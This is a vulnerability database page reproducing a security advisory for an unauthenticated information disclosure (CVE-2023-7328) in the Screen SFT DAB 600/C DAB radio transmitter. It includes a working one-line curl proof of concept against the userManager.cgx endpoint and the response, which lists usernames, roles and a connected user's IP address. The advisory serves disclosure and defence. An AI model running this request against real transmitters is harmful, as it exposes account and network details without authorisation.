Vulners
Lucene search
Screen SFT DAB 600/C Unauthenticated Information Disclosure (userManager.cgx)
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | DB Elettronica Screen SFT DAB 600/C 安全漏洞 | 14 Nov 202500:00 | – | cnnvd |
 | CVE-2023-7328 | 14 Nov 202522:51 | – | cve |
 | CVE-2023-7328 Screen SFT DAB 600/C <= 1.9.3 Unauthenticated Information Disclosure | 14 Nov 202522:51 | – | cvelist |
 | EUVD-2023-60058 | 14 Nov 202522:51 | – | euvd |
 | CVE-2023-7328 | 14 Nov 202523:15 | – | nvd |
 | CVE-2023-7328 | 14 Nov 202523:15 | – | osv |
 | PT-2025-47024 | 14 Nov 202500:00 | – | ptsecurity |
 | CVE-2023-7328 | 17 Nov 202509:07 | – | redhatcve |
 | CVE-2023-7328 Screen SFT DAB 600/C <= 1.9.3 Unauthenticated Information Disclosure | 14 Nov 202522:51 | – | vulnrichment |
<html><body><p>Screen SFT DAB 600/C Unauthenticated Information Disclosure (userManager.cgx)
Vendor: DB Elettronica Telecomunicazioni SpA
Product web page: https://www.screen.it | https://www.dbbroadcast.com
https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
Affected version: Firmware: 1.9.3
Bios firmware: 7.1 (Apr 19 2021)
Gui: 2.46
FPGA: 169.55
uc: 6.15
Summary: Screen's new radio DAB Transmitter is reaching the highest
technology level in both Digital Signal Processing and RF domain.
SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
digital adaptive precorrection and configuatio flexibility, the Hot
Swap System technology, the compactness and the smart system design,
the SFT DAB are advanced transmitters. They support standards DAB,
DAB+ and T-DMB and are compatible with major headend brands.
Desc: Screen is affected by an information disclosure vulnerability
due to improper access control enforcement. An unauthenticated remote
attacker can exploit this, via a specially crafted request to gain
access to sensitive information including usernames and source IP
addresses.
Tested on: Keil-EWEB/2.1
MontaVista® Linux® Carrier Grade eXpress (CGX)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5776
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5776.php
19.03.2023
--
$ curl 'http://SFTDAB/system/api/userManager.cgx'
{"ssbtType":"userManager","ssbtIdx":0,"ssbtObj":{"admin":false,"users":[{"user":"testingus","type":"GUEST","connected":false,"info":null},{"user":"joxy","type":"OPERATOR","connected":false,"info":null},{"user":"dude","type":"OPERATOR","connected":true,"info":{"ip":"192.168.178.150","tmo":120}}]}}
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 May 2023 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.15.3
CVSS 46.9
EPSS0.00078
SSVC